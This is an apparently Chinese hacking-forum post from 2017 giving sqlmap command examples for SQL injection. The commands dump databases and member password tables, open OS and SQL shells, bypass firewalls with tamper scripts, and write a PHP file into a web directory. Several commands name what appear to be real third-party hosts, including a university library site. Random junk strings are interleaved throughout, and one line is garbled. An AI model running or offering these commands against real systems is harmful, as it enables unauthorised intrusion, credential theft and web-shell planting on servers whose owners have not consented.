中国网络渗透测试联盟
标题:
sqlmap使用实例
[打印本页]
作者:
admin
时间:
2017-5-19 17:03
标题:
sqlmap使用实例
/pentest/database/sqlmap
2 D3 I# q, c3 k& p" j
8 h. u: v) Y, S- T7 q! S9 b
update :::::> in the folder after execute following order : svn update
$ ]( D# z( M9 ]) q" a# P2 c+ X" I
9 h+ R8 g6 `- e& V, Q9 [( J1 _
sqlmap.py -r 1.txt --current-db
) ~% `0 I1 U0 P
7 X. y! U/ Q# i$ n& B/ A2 B
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
3 R& F" X8 {/ r' i
% k0 y1 x$ t% z3 Y; F T2 ]+ M
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
. h% O( ?" ^3 i, O. q0 j' l
猜解数据库
1 S P6 z% x$ R& x
./sqlmap.py -u "injection-url" --dbs
( s+ s) C5 f( Z' m$ y* [8 ?
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
8 u5 F1 O! n. K# u+ R
" s# X7 ~. N* D
猜解表名
! f* e$ n% B' b1 |7 S7 m
./sqlmap.py -u "injection-url" -D database_name --tables
3 F' q* c W' D+ d6 n# R* Q
- I3 `- f8 F& f$ Q
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
" b. a; }0 H4 h; p- Z: l- s
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
: |6 _/ d3 B9 q& ]0 r+ s; m( C
: C) K& H W* Q4 o8 F1 v& p' O7 L1 W$ ?
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
$ V8 L- B5 i, c' Z3 v! J$ U
$ a+ n8 N8 [& M# K
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
# O7 K- @3 I0 M& ?/ h+ v
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
* E0 k* h2 X" R6 y% M
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
- l H3 b* I8 p2 S( Z2 O+ N
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
$ D+ Q; ]5 [* x+ n' {( |6 I( n
2 g, F f: B8 B& l' S
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
! t4 ~" `. a9 i& T2 ?- d
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
6 d- [, |, X; z; L2 B/ \: U
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
' S% Q6 j3 \/ \% q1 a$ `
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
) D" {8 P+ T! i+ J6 e" z
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
' P: S7 H$ O9 s: ]( s
- ` b4 z) W/ p3 \( t
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
, e7 w2 w7 Z+ K( M3 j
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
9 C0 s- J% T% A9 o6 Z9 u- I& n+ X
. n8 j+ u" W0 Q: X/ Q6 L1 m
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
G. p; I" \9 J( `; h- T) S/ G
猜解列名
' J) g4 ]& w0 E. q
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
; ^6 J" b8 G0 p! k9 c$ p
7 G7 D& b; ]$ {0 Q; c
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
/ I! B& F3 g) M0 Z" W G* [% ^
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
7 d! p/ g/ \/ I T( E
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
! E7 U* O9 h) y. e
' y5 c. m Y8 e
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
* ^6 F! D8 k3 |6 T% ^- h" F* r
&submit=Go
& h1 O$ ?* I: Z
猜解值
- K* b1 t" d- a8 W$ F/ X
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
. h+ m$ k" Q7 x" _
========================================================
, f1 T0 f7 ?) {6 S2 Z0 q& B3 k/ F- E
搜索表名中包括mana字符的
6 X. Y9 A+ H# U, j) j. S6 q
/sqlmap.py -u "injection-url" -T mana --search
4 Y5 g* d4 Z D* ^0 j
返回一个交互式sql shell
( [+ ?/ Y7 K; I# r0 a
/sqlmap.py -u "injection-url" --sql-shell
$ {0 }4 o6 E" u b
读取指定文件(需权限)
, w: g: M2 d8 w3 m* }: o% g. B9 \
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
! J/ X, u. O9 ~
查看当前 用户 及 数据库
6 t, A/ E( \- f4 |& N9 ]( L
/sqlmap.py -u "injection-url" --current-user --current-db
( y* @) L. n1 ]5 H
本地文件 写入 远程目标绝对路径
# R! O \2 I. ?. g. M" @9 y
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
% D0 i; u: j7 }* N0 }( l0 v8 j
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
* F8 e. c# _, m `' S& p+ }' M5 f
8 d6 U# T/ T1 c4 L0 E; p2 W
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
3 J: N) g/ |" r7 ]. P6 F1 {4 ]
查看某用的权限
' w; {, t! P0 w
/sqlmap.py -u "injection-url" --privileges -U root
# J% K6 M; n5 u* t8 E
查看当前用户是否为dba
G: Z8 h U( ]7 K0 E
/sqlmap.py -u "injection-url" --is-dba
% D4 c- P: H X6 s
读取所有数据库用户或指定数据库用户的密码
+ [+ n( I, F/ J/ ?% E6 Q7 a
sqlmap.py -r 1.txt --users --passwords
, x4 j! U p: S8 i: ]( P" B2 u: b
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
& Y- h6 }. r& W& Z- w+ l4 N
2 M7 i( E( w. E/ |, N% e
/sqlmap.py -u "injection-url" --passwords -U root
- P% I9 T, V/ Y. }6 E9 }9 ?$ [ b
0 `- E/ Y1 j4 b: j2 H5 x
--start&&--stop 与 --first&&--last 的区别
+ I) \7 S. j( _; @8 o4 W5 r4 k6 R6 Q
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
s- q% J) q7 K E2 d' T
) ~7 U* \6 v" J7 P
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
1 T$ p4 K0 x d% }/ p9 [
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
" b5 \% V3 ~+ H+ x) {
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
+ e) a6 u o1 w' [5 }" J5 B
k8 A) o; Z2 C& K
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
3 q% t3 H9 X% z R/ }
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
8 x$ g H& {$ C' P2 M
) I, Z8 M: D+ M3 R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2